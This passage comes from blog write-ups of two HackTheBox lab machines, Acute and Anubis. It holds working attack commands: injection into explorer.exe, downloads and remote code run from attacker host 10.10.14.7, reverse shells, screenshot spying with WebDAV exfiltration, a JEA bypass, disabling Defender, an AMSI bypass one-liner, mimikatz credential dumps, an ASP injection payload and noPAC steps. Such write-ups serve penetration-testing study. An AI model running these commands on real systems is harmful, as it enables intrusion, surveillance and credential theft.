This function is pretty much ideal: It has exactly one argument (just like LoadLibrary) and allows to run any binary on disk. So in the end I ended up finding where the address of ShellExecuteExW is loaded at in explorer.exe, allocated the required argument structure inside explorer.exe and used WriteProcessMemory to copy it into the explorer.exe process. Finally a call to CreateRemoteThread pointing to ShellExecuteW and the argument structure allows us to execute an arbitrary executeable. This is implemented in adopt.

So with this out of the way, we can continue to spawn a Session 1 process, using explorer.exe as a trampoline. We confirm that the new shell is indeed in session 1:

[>] iwr http://10.10.14.7/drop/adopt.exe -outfile C:\windows\temp\adopt.exe
[>] \windows\temp\adopt.exe explorer.exe c:\\windows\\temp\\rcat_10.10.14.7_1337.exe
...
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 49820
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
Windows PowerShell

PS C:\temp> ps | findstr rcat
ps | findstr rcat
     73       6      856       3552       0.03   5856   1 rcat_10.10.14.7_1337

Spying on the user

Now we can interact with the users desktop, including start new desktop allocations or taking screenshots. I will take a couple of screenshots to get an idea on what the user is doing. This also lead me down a rabbit hole and I ended up coming with scr. This command line tool just takes a screenshot as β€œscr.jpg” . In order to get a few of those I run a simple loop, rename them & finally zip them up:

iwr http://10.10.14.7/drop/scr.exe -outfile C:\temp\scr.exe
1..10 | % { \temp\scr.exe; start-sleep -s 3; rename-item "scr.jpg" "scr-$_.jpg" }; Compress-Archive -Path *.jpg -DestinationPath scr.zip

Now copying out the files could be done with something like metasploit or xc but I got this far without them so lets try something else πŸ˜‰ We are going to use WebDAV to copy those to our attacker machine. There is a cool repo by qtc that allows to start nginx with webdav support in a docker container among other things, which I’m going to use here:

car run nginx
[+] Environment Variables:
[+]	car_local_uid                 1000
[+]	car_nginx_folder              /home/xct/arsenal/nginx
[+]	car_download_folder           /home/xct/arsenal/nginx/download
[+]	car_upload_folder             /home/xct/arsenal/nginx/upload
[+]	car_http_port                 80
[+]	car_https_port                443
[+]
[+] Running: sudo -E docker-compose up
Starting car.nginx ... done
Attaching to car.nginx
car.nginx    | [+] Adjusting UID values.
car.nginx    | [+] Adjusting volume permissions.
car.nginx    | [+] No password was specified.
car.nginx    | [+] Generated random password: SfGrc6Y2
car.nginx    | [+] Creating .htpasswd file.
car.nginx    | [+] WebDAV access allowed for default:SfGrc6Y2
car.nginx    | [+] Starting nginx daemon.

Now we can use PowerShell to PUT the file onto our system:

$auth = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f "default","SfGrc6Y2")))
Invoke-RestMethod -Headers @{Authorization=("Basic {0}" -f $auth)} -Uri "http://10.10.14.7/upload/scr.zip" -Method Put -InFile "C:\temp\scr.zip"  

We look at our screenshot collection and can see that the user is using PowerShell trying to connect to a remote system. We copy the commands from the screenshot (by hand) and can connect to the remote system:

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("acute\imonks",$passwd)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -scriptblock { Get-Command }
...
CommandType     Name                                               Version    Source               PSComputerName
-----------     ----                                               -------    ------               --------------
Cmdlet          Get-Alias                                          3.1.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Get-ChildItem                                      3.1.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Get-Command                                        3.0.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Get-Content                                        3.1.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Get-Location                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Set-Content                                        3.1.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Set-Location                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER
Cmdlet          Write-Output                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER

Note that the last command specifies ConfigurationName which means that JEA is used here and we are limited in what we can run. A common bypass for JEA is to define a custom function and run it, which are doing:

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { function xct { iex(iwr http://10.10.14.7/run.txt -usebasicparsing) };xct }

This gets us a reverse shell on the DC and allows us to read the user flag on imonkβ€˜s desktop.

listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 52904
[>] hostname
ATSSERVER
[>] whoami
acute\imonks

Root

Another file on the desktop of imonk is wm.ps1, where we just have to modify the command to go back to Acute-PC01 with administrator privileges:

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock { iex(iwr http://10.10.14.7/run.txt -usebasicparsing) } -ComputerName Acute-PC01 -Credential $creds
...
[>] whoami
acute\jmorgan
[>] whoami /groups
...
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner

We can now disable AV & use mimikatz to dump the hashes on the system:

Add-MpPreference -ExclusionPath C:\temp
Set-MpPreference -DisableRealtimeMonitoring $true
iwr http://10.10.14.7/drop/mimikatz.exe -outfile mimikatz.exe

# bypass AMSI
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

.\mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
.\mimikatz.exe "token::elevate"  "lsadump::sam" "exit"
...
ACUTE-PC01$:   ea9815114ac78cdbb69ab9a39df66d73
Natasha:       29ab86c5c4d2aab957763e5c1720486d
Administrator: a29f7623fd11550def0192de9246f46b (cracks to Password@123)

The rest of the machine is not that interesting anymore, the local administrator password on Acute-PC01 is reused on another user awallace. Then we get a shell on the DC with that user & place a .bat file in the C:\Program files\keepmeon folder which is periodically executed as lhopkins which has Generic Write to to the Site_Admin group which in turn has DA access. At this point you can add any of your already compromised users to that group (e.g. net group "Site_Admin" awallace /add & are done.

The post Active Directory, JEA & Random Stuff – Acute @ HackTheBox appeared first on Vulndev.

ASP, Windows Containers, Responder & NoPAC – Anubis @ HackTheBox

By: xct
29 January 2022 at 14:45

We are solving Anubis, a 50-point windows machine on HackTheBox which involves an ASP template injection, windows containers, and stealing hashes with Responder. Later we’ll escalate privileges using noPAC.

Notes

ASP Injection

<% CreateObject("WScript.Shell").Exec("powershell -enc ...") %>

noPAC

# https://github.com/Ridter/noPac
proxychains -q crackmapexec smb 172.31.48.1 -u localadmin -p 'Secret123!' --no-bruteforce
sudo date -s "$(curl -sI https://windcorp.htb -k | grep -i '^date:'|cut -d' ' -f2-)"
proxychains -q python3 noPac.py windcorp.htb/localadmin:'Secret123' -dc-ip 172.31.48.1 -dc-host EARTH -shell --impersonate administrator

The post ASP, Windows Containers, Responder & NoPAC – Anubis @ HackTheBox appeared first on Vulndev.

❌
❌